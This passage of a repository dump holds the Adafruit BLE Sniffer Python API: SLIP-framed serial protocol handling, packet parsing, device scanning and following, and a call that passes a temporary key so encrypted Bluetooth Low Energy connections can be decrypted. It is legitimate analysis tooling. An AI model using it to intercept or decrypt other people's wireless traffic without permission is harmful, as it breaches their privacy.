self.lastReceivedPacket = None
# self.states = {}
def setup(self):
self.findSerialPort()
self.uart.ser.port = self.portnum
self.uart.ser.open
def doExit(self):
self.exit = True
if self.uart.ser is not None:
self.uart.ser.close()
# This function takes a byte list, encode it in SLIP protocol and return the encoded byte list
def encodeToSLIP(self, byteList):
tempSLIPBuffer = []
tempSLIPBuffer.append(SLIP_START)
for i in byteList:
if i == SLIP_START:
tempSLIPBuffer.append(SLIP_ESC)
tempSLIPBuffer.append(SLIP_ESC_START)
elif i == SLIP_END:
tempSLIPBuffer.append(SLIP_ESC)
tempSLIPBuffer.append(SLIP_ESC_END)
elif i == SLIP_ESC:
tempSLIPBuffer.append(SLIP_ESC)
tempSLIPBuffer.append(SLIP_ESC_ESC)
else:
tempSLIPBuffer.append(i)
tempSLIPBuffer.append(SLIP_END)
return tempSLIPBuffer
# This function uses getSerialByte() function to get SLIP encoded bytes from the serial port
# and return a decoded byte list
# Based on https://github.com/mehdix/pyslip/
def decodeFromSLIP(self, timeout=None):
dataBuffer = []
startOfPacket = False
endOfPacket = False
while not startOfPacket:
startOfPacket = (self.getSerialByte(timeout) == SLIP_START)
while not endOfPacket:
serialByte = self.getSerialByte(timeout)
if serialByte == SLIP_END:
endOfPacket = True
elif serialByte == SLIP_ESC:
serialByte = self.getSerialByte()
if serialByte == SLIP_ESC_START:
dataBuffer.append(SLIP_START)
elif serialByte == SLIP_ESC_END:
dataBuffer.append(SLIP_END)
elif serialByte == SLIP_ESC_ESC:
dataBuffer.append(SLIP_ESC)
else:
raise Exceptions.UARTPacketError(
"Unexpected character after SLIP_ESC: %d." % serialByte)
else:
dataBuffer.append(serialByte)
return dataBuffer
# This function read byte chuncks from the serial port and return one byte at a time
# Based on https://github.com/mehdix/pyslip/
def getSerialByte(self, timeout=None):
serialByte = self.uart.readByte(timeout)
if len(serialByte) != 1:
raise Exceptions.SnifferTimeout("Packet read timed out.")
return ord(serialByte)
def handlePacketHistory(self, packet):
# Reads and validates packet counter
if self.lastReceivedPacket and (
packet.packetCounter != (self.lastReceivedPacket.packetCounter+1)) and (
self.lastReceivedPacket.packetCounter != 0):
logging.info("gap in packets, between {} and {}. packet before: {}, packet after: {}"
.format(
self.lastReceivedPacket.packetCounter,
str(packet.packetCounter),
str(self.lastReceivedPacket.packetList),
str(packet.packetList)
))
self.lastReceivedPacket = packet
def getPacket(self, timeout=None):
packetList = []
try:
packetList = self.decodeFromSLIP(timeout)
except Exceptions.UARTPacketError:
logging.exception("")
return None
else:
packet = Packet(packetList)
if packet.valid:
self.handlePacketHistory(packet)
return packet
def useByteQueue(self, useByteQueue=True):
self.uart.useByteQueue = useByteQueue
def getByteQueue(self):
return self.uart.byteQueue
def sendPacket(self, id, payload, timeout=None):
packetList = [HEADER_LENGTH] + [len(payload)] + [PROTOVER] + \
toLittleEndian(self.packetCounter, 2) + [id] + payload
pkt = self.encodeToSLIP(packetList)
self.packetCounter += 1
self.uart.writeList(pkt, timeout)
def sendScan(self, timeout=None):
self.sendPacket(REQ_SCAN_CONT, [], timeout)
def sendFollow(self, addr, txAdd=1, followOnlyAdvertisements=False, timeout=None):
# TxAdd is a single byte (0 or 1) so we just append it to the address.
# addr.append(txAdd)
self.sendPacket(REQ_FOLLOW, addr+[followOnlyAdvertisements], timeout)
def sendPingReq(self, timeout=1):
self.sendPacket(PING_REQ, [], timeout)
def sendTK(self, TK, timeout=None):
if (len(TK) < 16):
TK = [0] * (16-len(TK)) + TK
else:
TK = TK[:16]
self.sendPacket(SET_TEMPORARY_KEY, TK, timeout)
logging.info("Sent key value to sniffer: "+str(TK))
self.notify("TK_SENT", {"TK": TK})
return TK
def sendSwitchBaudRate(self, newBaudRate, timeout=None):
self.sendPacket(SWITCH_BAUD_RATE_REQ, toLittleEndian(newBaudRate, 4), timeout)
def switchBaudRate(self, newBaudRate):
self.uart.switchBaudRate(newBaudRate)
def sendHopSequence(self, hopSequence):
for chan in hopSequence:
if chan not in VALID_ADV_CHANS:
raise Exceptions.InvalidAdvChannel("%s is not an adv channel" % str(chan))
payload = [len(hopSequence)] + hopSequence + [37]*(3-len(hopSequence))
self.sendPacket(SET_ADV_CHANNEL_HOP_SEQ, payload)
self.notify("NEW_ADV_HOP_SEQ", {"hopSequence": hopSequence})
def sendGoIdle(self, timeout=None):
self.sendPacket(GO_IDLE, [], timeout)
def findSerialPort(self):
foundPort = False
iPort = 0 # To avoid COM1 (iPort=0).
nTicks = 0
trials = 10
# comports = self.findSeggerComPorts().keys()
if self.portnum is not None:
self.notify("INFO_PRESET")
else:
self.notify("INFO_NO_PRESET")
readTimeout = 1
iPort = self.portnum if self.portnum is not None else 1
while not foundPort and not self.exit:
try:
self.uart.ser.port = iPort
try:
self.uart.ser.open()
except:
pass
self.sendPingReq()
startTime = time.time()
continueLoop = True
packetCounter = 0
while continueLoop and (time.time() < (startTime+1)):
packet = self.getPacket(timeout=readTimeout)
if packet is None:
continueLoop = False
raise Exception("None packet")
elif packet.id == 0x0E:
continueLoop = False
fwversion = packet.version
self.portnum = self.uart.ser.portstr
self.notify("COMPORT_FOUND", {"comPort": self.portnum})
self.fwversion = fwversion
return
else:
packetCounter += 1
if continueLoop:
raise Exception("No packet with correct id. Received " +
str(packetCounter)+" packets.")
except Exception as e:
if "The system cannot find the file specified." not in str(e):
# logging.exception("Error on COM"+str(iPort+1)+": "+str(e))
logging.info("Error on port " + str(iPort) + ". file: " +
os.path.basename(sys.exc_info()[2].tb_frame.f_code.co_filename) +
", line " + str(sys.exc_info()[2].tb_lineno) + ": "+str(e))
# logging.exception("error")
trials = trials + 1
if (trials>9):
self.doExit() #Try to open the port for some time, if can't just exit
try:
if self.uart.ser is not None:
self.uart.ser.close()
except: # noqa: E722
logging.exception("could not close UART")
if self.portnum is None:
if type(iPort) != int:
iPort = 0
iPort += 1
iPort = (iPort % 256)
if self.portnum is not None or (iPort % 64) == 0:
nTicks += 1
self.notify("DEVICE_DISCOVERY_TICK", {"tickNumber": nTicks})
if readTimeout < 3:
readTimeout += 0.1
# logging.info("iPort: " +str(iPort))
# logging.info("self.portnum: " +str(self.portnum))
if self.portnum is not None:
time.sleep(0.7)
else:
time.sleep(0.01)
return (None, None)
class Packet:
def __init__(self, packetList):
try:
if packetList == []:
raise Exceptions.InvalidPacketException(
"packet list not valid: %s" % str(packetList))
self.packetList = packetList
self.readStaticHeader(packetList)
self.readDynamicHeader(packetList)
self.readPayload(packetList)
except Exceptions.InvalidPacketException as e:
logging.error("Invalid packet: %s" % str(e))
self.OK = False
self.valid = False
except: # noqa: E722
logging.exception("packet creation error")
logging.info("packetList: " + str(packetList))
self.OK = False
self.valid = False
def __repr__(self):
return "UART packet, type: "+str(self.id)+", PC: "+str(self.packetCounter)
def readStaticHeader(self, packetList):
self.headerLength = packetList[HEADER_LEN_POS]
self.payloadLength = packetList[PAYLOAD_LEN_POS]
self.protover = packetList[PROTOVER_POS]
def readDynamicHeader(self, packetList):
self.header = packetList[0:self.headerLength]
if self.headerLength == HEADER_LENGTH:
self.packetCounter = parseLittleEndian(
packetList[PACKETCOUNTER_POS:PACKETCOUNTER_POS+2])
self.id = packetList[ID_POS]
else:
logging.info("incorrect header length: %d" % self.headerLength)
def readPayload(self, packetList):
self.blePacket = None
self.OK = False
if not self.validatePacketList(packetList):
raise Exceptions.InvalidPacketException("packet list not valid: %s" % str(packetList))
else:
self.valid = True
self.payload = packetList[PAYLOAD_POS:PAYLOAD_POS+self.payloadLength]
if self.id == EVENT_PACKET:
try:
self.bleHeaderLength = packetList[BLE_HEADER_LEN_POS]
if self.bleHeaderLength == BLE_HEADER_LENGTH:
self.flags = packetList[FLAGS_POS]
self.readFlags()
self.channel = packetList[CHANNEL_POS]
self.rawRSSI = packetList[RSSI_POS]
self.RSSI = -self.rawRSSI
self.txAdd = packetList[TXADD_POS] & TXADD_MSK
self.eventCounter = parseLittleEndian(
packetList[EVENTCOUNTER_POS:EVENTCOUNTER_POS+2])
self.timestamp = parseLittleEndian(packetList[TIMESTAMP_POS:TIMESTAMP_POS+2])
# self.payload = packetList[13:(4+self.length)]
# The hardware adds a padding byte which isn't sent on air.
# The following removes it.
self.packetList.pop(BLEPACKET_POS+6)
self.payloadLength -= 1
if packetList[PAYLOAD_LEN_POS] > 0:
packetList[PAYLOAD_LEN_POS] -= 1
if self.OK:
try:
self.blePacket = BlePacket(packetList[BLEPACKET_POS:])
except: # noqa: E722
logging.exception("blePacket error")
except: # noqa: E722
# malformed packet
logging.exception("packet error")
self.OK = False
elif self.id == PING_RESP:
self.version = parseLittleEndian(self.packetList[PAYLOAD_POS:PAYLOAD_POS+2])
elif self.id == SWITCH_BAUD_RATE_RESP or self.id == SWITCH_BAUD_RATE_REQ:
self.baud_rate = parseLittleEndian(packetList[PAYLOAD_POS:PAYLOAD_POS+4])
elif self.id == TEST_RESULT_ID:
self.testId = packetList[PAYLOAD_POS]
self.testLength = packetList[PAYLOAD_POS+1]
self.testPayload = packetList[PAYLOAD_POS+2:]
def readFlags(self):
self.crcOK = not not (self.flags & 1)
self.direction = not not (self.flags & 2)
self.encrypted = not not (self.flags & 4)
self.micOK = not not (self.flags & 8)
self.OK = self.crcOK and (self.micOK or not self.encrypted)
def getList(self):
return self.packetList
def validatePacketList(self, packetList):
try:
if (packetList[PAYLOAD_LEN_POS] + packetList[HEADER_LEN_POS]) == len(packetList):
return True
else:
return False
except: # noqa: E722
logging.exception("Invalid packet: %s" % str(packetList))
return False
class BlePacket():
def __init__(self, packetList):
self.extractAccessAddress(packetList)
if self.accessAddress == ADV_ACCESS_ADDRESS:
self.extractAdvType(packetList)
self.extractAdvAddress(packetList)
self.extractName(packetList)
self.extractLength(packetList)
self.payload = packetList[6:]
def __repr__(self):
return "BLE packet, AAddr: "+str(self.accessAddress)
def extractAccessAddress(self, packetList):
self.accessAddress = packetList[0:4]
def extractAdvType(self, packetList):
self.advType = (packetList[4] & 15)
def extractAdvAddress(self, packetList):
addr = None
if (self.advType == 0 or self.advType == 1 or self.advType == 2 or self.advType == 4
or self.advType == 6):
addrType = not not packetList[4] & 64
addr = packetList[6:12]
addr.reverse()
addr += [addrType]
elif (self.advType == 3 or self.advType == 5):
addrType = not not packetList[4] & 64
addr = packetList[12:18]
addr.reverse()
addr += [addrType]
self.advAddress = addr
def extractName(self, packetList):
name = ""
if (self.advType == 0 or self.advType == 2 or self.advType == 6):
i = 12
while i < len(packetList):
length = packetList[i]
if (i+length+1) > len(packetList) or length == 0:
break
type = packetList[i+1]
if type == 8 or type == 9:
nameList = packetList[i+2:i+length+1]
name = ""
for j in nameList:
name += chr(j)
i += (length+1)
name = '"'+name+'"'
elif (self.advType == 1):
name = "[ADV_DIRECT_IND]"
self.name = name # .decode(encoding="UTF-8")
def extractLength(self, packetList):
length = packetList[5]
self.length = length
def parseLittleEndian(list):
total = 0
for i in range(len(list)):
total += (list[i] << (8*i))
return total
def toLittleEndian(value, size):
list = [0]*size
for i in range(size):
list[i] = (value >> (i*8)) % 256
return list
================================================
FILE: src/protocols/BLE/Adafruit_BLESniffer/SnifferAPI/Sniffer.py
================================================
from __future__ import absolute_import
import sys
import os
import threading
import logging
from . import SnifferCollector
from . import Logger, Version
def initLog():
Logger.initLogger()
logging.info("--------------------------------------------------------")
logging.info("Software version: " + Version.getReadableVersionString(Version.getRevision()))
initLog()
class Sniffer(threading.Thread, SnifferCollector.SnifferCollector):
# Sniffer constructor. portnum argument is optional. If not provided,
# the software will try to locate the firwmare automatically (may take time).
# NOTE: portnum is 0-indexed, while Windows names are 1-indexed
def __init__(self, portnum=None):
threading.Thread.__init__(self)
SnifferCollector.SnifferCollector.__init__(self, portnum)
self.daemon = True
self.subscribe("COMPORT_FOUND", self.comPortFound)
# API STARTS HERE
# Get [number] number of packets since last fetch (-1 means all)
# Note that the packet buffer is limited to about 80000 packets.
# Returns: A list of Packet objects
def getPackets(self, number=-1):
return self._getPackets(number)
# Get a list of devices which are advertising in range of the Sniffer.
# Returns: A DeviceList object.
def getDevices(self):
return self._devices
# Signal the Sniffer firmware to sniff a specific device.
# "device" argument is of type Device
# if "followOnlyAdvertisements" is True the sniffer will not follow the device into a connection. # noqa: E501
# Returns nothing
def follow(self, device=None, followOnlyAdvertisements=False):
self._startFollowing(device, followOnlyAdvertisements)
# Signal the Sniffer to scan for advertising devices by sending the REQ_SCAN_CONT UART packet.
# This will cause it to stop sniffing any device it is sniffing at the moment.
# Returns nothing.
def scan(self):
self._startScanning()
# Send a temporary key to the sniffer to use when decrypting encrypted communication.
# Returns nothing.
def sendTK(self, TK):
self._packetReader.sendTK(TK)
# Set the preset COM port number. Only use this during startup. Set to None to search all ports.
# Returns nothing.
def setPortnum(self, portnum):
self._portnum = portnum
self._packetReader.portnum = portnum
# Set the order in which the sniffer cycles through adv channels when following a device.
# hopSequence must be a list of length 1, 2, or 3, and each item must be either 37, 38, or 39.
# The same channel cannot occur more than once in the list.
# Returns nothing.
def setAdvHopSequence(self, hopSequence):
self._packetReader.sendHopSequence(hopSequence)
# Gracefully shut down the sniffer threads and connections.
# Returns nothing.
def doExit(self):
return self._doExit()
# NOTE: Methods with decorator @property can be used as (read-only) properties
# Example: mMissedPackets = sniffer.missedPackets
# The number of missed packets over the UART, as determined by the packet counter in the header.
@property
def missedPackets(self):
return self._missedPackets
# The number of packets which were sniffed in the last BLE connection.
# From CONNECT_REQ until link loss/termination.
@property
def packetsInLastConnection(self):
return self._packetsInLastConnection
# The packet counter value of the last received connect request.
@property
def connectEventPacketCounterValue(self):
return self._connectEventPacketCounterValue
# A Packet object containing the last received connect request.
@property
def currentConnectRequest(self):
return self._currentConnectRequest
# A boolean indicating whether the sniffed device is in a connection.
@property
def inConnection(self):
return self._inConnection
# The internal state of the sniffer.
# States are defined in SnifferCollector module. Valid values are 0-2.
@property
def state(self):
return self._state
# The COM port of the sniffer hardware. During initialization, this value is a preset.
@property
def portnum(self):
return self._portnum
# The version number of the API software.
@property
def swversion(self):
return self._swversion
# The version number of the sniffer firmware.
@property
def fwversion(self):
return self._fwversion
# API ENDS HERE
# Private method
def run(self):
try:
self._setup()
self.runSniffer()
except (KeyboardInterrupt) as e:
unused_exc_type, unused_exc_obj, exc_tb = sys.exc_info()
fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
lineno = exc_tb.tb_lineno
logging.info("exiting ("+str(type(e))+" in "+fname+" at "+str(lineno)+"): "+str(e))
self.goodExit = False
except Exception as e:
logging.exception("CRASH")
self.goodExit = False
else:
self.goodExit = True
# Private method
def comPortFound(self, notification):
# logging.info("Com port found")
self._portnum = notification.msg["comPort"]
self._boardId = self._makeBoardId()
# self._packetReader.comport = self.portnum
# Private method
def runSniffer(self):
if not self._exit:
self._continuouslyPipe()
else:
self.goodExit = False
# Private method
def sendTestPacketToSniffer(self, payload):
self._sendTestPacket(payload)
# Private method
def getTestPacketFromSniffer(self):
return self._getTestPacket()
================================================
FILE: src/protocols/BLE/Adafruit_BLESniffer/SnifferAPI/SnifferCollector.py
================================================
from __future__ import absolute_import
from . import Packet, Exceptions, CaptureFiles, Devices, Notifications, Version
import threading
import logging
import copy
from serial import SerialException
from six.moves import range
REQ_FOLLOW = 0x00
EVENT_FOLLOW = 0x01
EVENT_DEVICE = 0x02
REQ_SINGLE_PACKET = 0x03
RESP_SINGLE_PACKET = 0x04
EVENT_CONNECT = 0x05
EVENT_PACKET = 0x06
REQ_SCAN_CONT = 0x07
RESP_SCAN_CONT = 0x08
EVENT_DISCONNECT = 0x09
EVENT_ERROR = 0x0A
EVENT_EMPTY_DATA_PACKET = 0x0B
SET_TEMPORARY_KEY = 0x0C
PING_REQ = 0x0D
PING_RESP = 0x0E
TEST_COMMAND_ID = 0x0F
UART_TEST_START = 0x11
UART_DUMMY_PACKET = 0x12
SWITCH_BAUD_RATE_REQ = 0x13
SWITCH_BAUD_RATE_RESP = 0x14
GO_IDLE = 0xFE
STATE_INITIALIZING = 0
STATE_SCANNING = 1
STATE_FOLLOWING = 2
ADV_ACCESS_ADDRESS = [0xD6, 0xBE, 0x89, 0x8E]
class SnifferCollector(Notifications.Notifier):
def __init__(self, portnum=None, *args, **kwargs):
Notifications.Notifier.__init__(self, *args, **kwargs)
self._portnum = portnum
self._swversion = Version.getRevision()
self._fwversion = 0
self._setState(STATE_INITIALIZING)
self._captureHandler = CaptureFiles.CaptureFileHandler()
self._exit = False
self._connectionAccessAddress = None
self._packetListLock = threading.RLock()
with self._packetListLock:
self._packets = []
self._packetReader = Packet.PacketReader(
self._portnum, callbacks=[("*", self.passOnNotification)])
self._devices = Devices.DeviceList(
callbacks=[("*", self.passOnNotification)])
self._missedPackets = 0
self._packetsInLastConnection = None
self._connectEventPacketCounterValue = None
self._inConnection = False
self._currentConnectRequest = None
self._nProcessedPackets = 0
self._switchingBaudRate = False
self._attemptedBaudRates = []
self._boardId = self._makeBoardId()
def __del__(self):
self._doExit()
def _setup(self):
self._packetReader.setup()
if self._exit:
return
if self._packetReader.fwversion < self.swversion:
self.notify("OLD_FW_VERSION", {
"version": self._packetReader.fwversion})
self._fwversion = self._packetReader.fwversion
self._startScanning()
self._setState(STATE_SCANNING)
def _makeBoardId(self):
try:
boardId = int(self._packetReader.uart.ser.name.split("COM")[1])
logging.info("board ID: %d" % boardId)
except (IndexError, AttributeError):
import random
random.seed()
boardId = random.randint(0, 255)
logging.info("board ID (random): %d" % boardId)
return boardId
@property
def state(self):
return self._state
def _setState(self, newState):
self._state = newState
self.notify("STATE_CHANGE", newState)
def _switchBaudRate(self, newBaudRate):
if newBaudRate in self._packetReader.uart.ser.BAUDRATES:
self._packetReader.sendSwitchBaudRate(newBaudRate)
self._switchingBaudRate = True
self._proposedBaudRate = newBaudRate
self._attemptedBaudRates.append(newBaudRate)
def _processBLEPacket(self, packet):
packet.boardId = self._boardId
self._appendPacket(packet)
self.notify("NEW_BLE_PACKET", {"packet": packet})
self._captureHandler.writePacket(packet)
self._nProcessedPackets += 1
if packet.OK:
try:
if packet.blePacket.accessAddress == ADV_ACCESS_ADDRESS:
if self.state == STATE_FOLLOWING and packet.blePacket.advType == 5:
self._connectionAccessAddress = packet.blePacket.accessAddress
if self.state == STATE_SCANNING:
if (packet.blePacket.advType == 0
or packet.blePacket.advType == 1
or packet.blePacket.advType == 2
or packet.blePacket.advType == 4
or packet.blePacket.advType == 6
) and (packet.blePacket.advAddress is not None
) and (packet.crcOK and not packet.direction):
newDevice = Devices.Device(
address=packet.blePacket.advAddress, name=packet.blePacket.name,
RSSI=packet.RSSI, txAdd=packet.txAdd)
self._devices.appendOrUpdate(newDevice)
except Exception as e:
logging.exception("packet processing error")
self.notify("PACKET_PROCESSING_ERROR", {"errorString": str(e)})
def _continuouslyPipe(self):
while not self._exit:
try:
packet = self._packetReader.getPacket(timeout=2)
if not packet.valid:
raise Exceptions.InvalidPacketException("")
except Exceptions.SnifferTimeout as e:
logging.info(str(e))
packet = None
except (SerialException, ValueError):
logging.exception("UART read error")
logging.error("Lost contact with sniffer hardware.")
self._doExit()
except Exceptions.InvalidPacketException:
# logging.error("Continuously pipe: Invalid packet, skipping.")
pass
else:
if packet.id == EVENT_PACKET:
self._processBLEPacket(packet)
elif packet.id == EVENT_FOLLOW:
# This packet has no value for the user.
pass
elif packet.id == EVENT_CONNECT:
self._connectEventPacketCounterValue = packet.packetCounter
self._inConnection = True
# copy it because packets are eventually deleted
self._currentConnectRequest = copy.copy(self._findPacketByPacketCounter(
self._connectEventPacketCounterValue-1))
elif packet.id == EVENT_DISCONNECT:
if self._inConnection:
self._packetsInLastConnection = packet.packetCounter - \
self._connectEventPacketCounterValue
self._inConnection = False
elif packet.id == SWITCH_BAUD_RATE_RESP and self._switchingBaudRate:
self._switchingBaudRate = False
if (packet.baudRate == self._proposedBaudRate):
self._packetReader.switchBaudRate(
self._proposedBaudRate)
else:
self._switchBaudRate(packet.baudRate)
def _findPacketByPacketCounter(self, packetCounterValue):
with self._packetListLock:
for i in range(-1, -1-len(self._packets), -1):
# iterate backwards through packets
if self._packets[i].packetCounter == packetCounterValue:
return self._packets[i]
return None
def _startScanning(self):
logging.info("starting scan")
if self.state == STATE_FOLLOWING:
logging.info("Stopped sniffing device")
self._devices.clear()
self._setState(STATE_SCANNING)
self._packetReader.sendScan()
self._packetReader.sendTK([0])
def _doExit(self):
self._exit = True
self.notify("APP_EXIT")
self._packetReader.doExit()
def _startFollowing(self, device, followOnlyAdvertisements=False):
self._devices.setFollowed(device)
logging.info("Sniffing device " +
str(self._devices.index(device)) + ' - "'+device.name+'"')
self._packetReader.sendFollow(
device.address, device.txAdd, followOnlyAdvertisements)
self._setState(STATE_FOLLOWING)
def _appendPacket(self, packet):
with self._packetListLock:
if len(self._packets) > 100000:
self._packets = self._packets[20000:]
self._packets.append(packet)
def _getPackets(self, number=-1):
with self._packetListLock:
returnList = self._packets[0:number]
self._packets = self._packets[number:]
return returnList
def _sendTestPacket(self, payload):
self._packetReader.sendTestPacket(payload)
def _getTestPacket(self):
return self._packetReader.getPacket()
================================================
FILE: src/protocols/BLE/Adafruit_BLESniffer/SnifferAPI/UART.py
================================================
from __future__ import absolute_import
import logging
import serial
import collections
import serial.tools.list_ports as list_ports
from . import Exceptions
class Uart:
def __init__(self, portnum=None, useByteQueue=False):
self.ser = None
try:
self.ser = serial.Serial(
port=portnum,
baudrate=460800,
bytesize=serial.EIGHTBITS,
parity=serial.PARITY_NONE,
stopbits=serial.STOPBITS_ONE,
timeout=None, # seconds
writeTimeout=None,
rtscts=True
)
except Exception as e:
if self.ser:
self.ser.close()
raise
self.useByteQueue = useByteQueue
self.byteQueue = collections.deque()
# if self.ser.name != None:
# print "UART %s on port %s" % ("open" if self.ser else "closed", self.ser.name)
def __del__(self):
if self.ser:
logging.info("closing UART")
self.ser.close()
def switchBaudRate(self, newBaudRate):
self.ser.baudrate = newBaudRate
def read(self, length, timeout=None):
if timeout != self.ser.timeout:
try:
self.ser.timeout = timeout
except ValueError as e:
logging.error("Error setting UART read timeout. Continuing.")
value = self.ser.read(length)
if len(value) != length:
raise Exceptions.SnifferTimeout(
"UART read timeout (" + str(self.ser.timeout) + " seconds).")
if self.useByteQueue:
self.byteQueue.extend(value)
return value
def readByte(self, timeout=None):
readString = ""
readString = self.read(1, timeout)
return readString
def readList(self, size, timeout=None):
return self.read(size, timeout)
def writeList(self, array, timeout=None):
nBytes = 0
if timeout != self.ser.writeTimeout:
try:
self.ser.writeTimeout = timeout
except ValueError as e:
logging.error("Error setting UART write timeout. Continuing.")
try:
nBytes = self.ser.write(array)
except: # noqa: E722
self.ser.close()
raise
return nBytes
def list_serial_ports():
# Scan for available ports.
return list_ports.comports()
================================================
FILE: src/protocols/BLE/Adafruit_BLESniffer/SnifferAPI/Version.py
================================================
from __future__ import absolute_import
from . import myVersion
pdfVersion = "1.2"
def getRevision():
return myVersion.version
def getVersionString(mRevision=getRevision()):
# prevRev = 0
# if mRevision == 0:
# return "0.0.0"
# for rev in versions:
# if rev > int(mRevision):
# return versions[prevRev]
# prevRev = rev
# return versions[prevRev]
return myVersion.versionString + myVersion.versionNameAppendix
def getPureVersionString(mRevision=getRevision()):
return myVersion.versionString
def getUserGuideFileName(version=pdfVersion, platformName="win", deliverableName="ble-sniffer",
itemName="User Guide.pdf"):
return str(deliverableName) + "_" + str(platformName) + "_" + str(version) + "_" + str(itemName)
def getReadableVersionString(mRevision=getRevision()):
return "SVN rev. "+str(mRevision) if mRevision else "version information unavailable"
def getFileNameVersionString(mRevision=getRevision(), itemName="", platformName="win",
deliverableName="ble-sniffer"):
ver = getVersionString(mRevision)
if itemName != "":
return str(deliverableName)+"_"+str(platformName)+"_"+str(ver)+"_"+str(itemName)
else:
return str(deliverableName)+"_"+str(platformName)+"_"+str(ver)
================================================
FILE: src/protocols/BLE/Adafruit_BLESniffer/SnifferAPI/__init__.py
================================================
================================================
FILE: src/protocols/BLE/Adafruit_BLESniffer/SnifferAPI/myVersion.py
================================================
version = 1111
versionString = "1.0.1"
versionNameAppendix = "_1111"
================================================
FILE: src/protocols/BLE/Adafruit_BLESniffer/__init__.py
================================================
================================================
FILE: src/protocols/BLE/Adafruit_BLESniffer/documentation.html
================================================
Sniffer
The entry point for the API.
| Field |
Type |
Description |
| missedPackets |
int |
The number of missed packets over the UART, as determined by the packet counter in the header. Derived using the packetCounter field. |
| packetsInLastConnection |
int |
The number of packets which were sniffed in the last BLE connection. From CONNECT_REQ until link loss/termination. |
| connectEventPacketCounterValue |
int |
The packet counter value of the last received connect request. |
| inConnection |
bool |
A boolean indicating whether the sniffed device is in a connection. |
| currentConnectRequest |
Packet |
A Packet object containing the last received connect request. |
| state |
int |
The internal state of the sniffer. States are defined in SnifferCollector module. Valid values are 0-2. |
| portnum |
int or string |
The COM port of the sniffer hardware. During initialization, this value is a preset. |
| swversion |
int |
The version number of the API software. |
| fwversion |
int |
The version number of the sniffer firmware. |
| Function |
Type |
Description |
| __init__(portnum) |
Sniffer |
Constructor for the Sniffer class. The optional argument "portnum" is a string with the name of the port the sniffer board is at, e.g. "COM17". If not provided, the API will locate it automatically, but this takes more time. |
| start() |
void |
Starts the Sniffer thread. This call must be made (once and only once) before using the sniffer object. |
| getPackets(number) |
List<Packet> |
Get [number] number of packets since last fetch (-1 means all). Note that the packet buffer is limited to about 80000 packets. |
| getDevices() |
DeviceList |
Get a list of devices which are advertising in range of the Sniffer. |
| follow(device, followOnlyAdvertisements) |
void |
Signal the Sniffer firmware to sniff a specific device. If followOnlyAdvertisements is True, the sniffer will not sniff a connection, only advertisements from the followed device. |
| scan() |
void |
Signal the Sniffer to scan for advertising devices by sending the REQ_SCAN_CONT UART packet. This will cause it to stop sniffing any device it is sniffing at the moment. |
| sendTK(TK) |
void |
Send a temporary key to the sniffer for use when decrypting encrypted connections. TK is a list of 16 ints, each representing a byte in the temporary key. TK is on big-endian form. |
| setPortnum(portnum) |
void |
Set the preset COM port number. Only use this during startup. Set to None to search all ports. |
| doExit() |
void |
Gracefully shut down the sniffer threads and connections. |
Device
Class representing a BLE device from which the sniffer has picked up data.
| Field |
Type |
Description |
| address |
List< int > |
A list representing the device address of this device: [int, int, int, int, int, int] |
| txAdd |
bool |
A boolean representing whether the device address is public (False) or random (True). |
| name |
string |
A string containing the name (short or complete) of the device. |
| RSSI |
int |
An int representing the approximate RSSI value of packets received from this device. |
DeviceList
A class representing a list of devices. Used to simplify extraction of devices using BLE metadata.
| Function |
Type |
Description |
| find(id) |
Device |
Find a device in this DeviceList using either name or address. Returns None if no device is found. |
| remove(id) |
Device |
Remove a device from this DeviceList. Argument "id" has same format as in find. |
| append(Device) |
void |
Append a Device to the device list. |
| index(Device) |
int |
Returns the index of the provided Device. |
| getList() |
List<Device> |
Returns a list of the Devices in this DeviceList. |
Packet
Represents the UART packet sent by the sniffer to the host.
| Field |
Type |
Description |
| headerLength |
int |
The length of the UART header. |
UART header |
| payloadLength |
int |
The length of the UART payload. |
| protover |
int |
The UART protocol version used. |
| packetCounter |
int |
Unique (16 bit) packet identifier which increments for each packet sent by the sniffer. |
| id |
int |
Identifier telling what type of packet this is. See UART protocol document. |
| bleHeaderLength |
int |
Length of the NRF_BLE_PACKET header. |
NRF_BLE_PACKET header |
| crcOK |
bool |
Was the CRC received by the sniffer OK. |
| micOK |
bool |
Is the message integriy check OK. Only relevant in encrypted state. |
| direction |
bool |
Only relevant during connection. True -> Master to Slave, False -> Slave to Master |
| encrypted |
bool |
has the packet been encrypted. |
| channel |
int |
Which channel was the packet picked up from [0 - 39] |
| RSSI |
int |
The RSSI value reported by the sniffer. NOT PRECISE. Real value is the negative of this value. |
| eventCounter |
int |
The eventcounter of the packet in the connection. Only relevant for packets in a connection. |
| timestamp |
int |
Microseconds from the end of the last packet to the start of this one. |
| blePacket |
BlePacket |
The blePacket contained within this packet. |
Other |
| packetList |
List< int > |
The entire UART packet as sent by the sniffer (with the exception of a padding byte which is removed). |
| OK |
bool |
Is the error detection of the attached BLE packet OK? |
| payload |
List< int > |
List containing the UART payload as bytes. |
| txADD |
bool |
Is the address public or random? True -> Random, False -> Public. Only relevant for advertisement packets. |
| version |
int |
The firmware version of the sniffer. Only sent in PING_RESP packets. |
BlePacket
Represents the BLE packet received over the air by the sniffer.
| Field |
Type |
Description |
| accessAddress |
List< int > |
A list of bytes representing the access for this packet. |
| advType |
int |
The advertisement type field. |
| advAddress |
List< int > |
The advertising address. |
| name |
string |
The value of the localname property of the ble packet. |
| payload |
List< int > |
The entire BLE payload (not including access address and header fields). |
| length |
int |
The value of the length field of the BLE PDU |
Exceptions
The exceptions raised by the API.
| Exception |
Description |
| SnifferTimeout |
UART read time out. |
| UARTPacketError |
UART SLIP parsing error. |
| InvalidPacketException |
Other UART parsing error. |
================================================
FILE: src/protocols/BLE/Adafruit_BLESniffer/requirements.txt
================================================
six>=1.11.0
pyserial>=3.4
================================================
FILE: src/protocols/BLE/Adafruit_BLESniffer/setup.cfg
================================================
[flake8]
max-line-length=100
================================================
FILE: src/protocols/BLE/Adafruit_BLESniffer/sniffer.py
================================================
from __future__ import absolute_import
from __future__ import print_function
from six.moves import input
from protocols.BLE.Adafruit_BLESniffer.SnifferAPI import CaptureFiles, Sniffer
from protocols.BLE.Adafruit_BLESniffer.SnifferAPI.Devices import Device
__author__ = "ktown"
__copyright__ = "Copyright Adafruit Industries 2014 (adafruit.com)"
__license__ = "MIT"
__version__ = "0.1.0"
import os
import sys
import time
import argparse
mySniffer = None
"""@type: SnifferAPI.Sniffer.Sniffer"""
def setup(serport, delay=6):
"""
Tries to connect to and initialize the sniffer using the specific serial port
@param serport: The name of the serial port to connect to ("COM14", "/dev/tty.usbmodem1412311", etc.)
@type serport: str
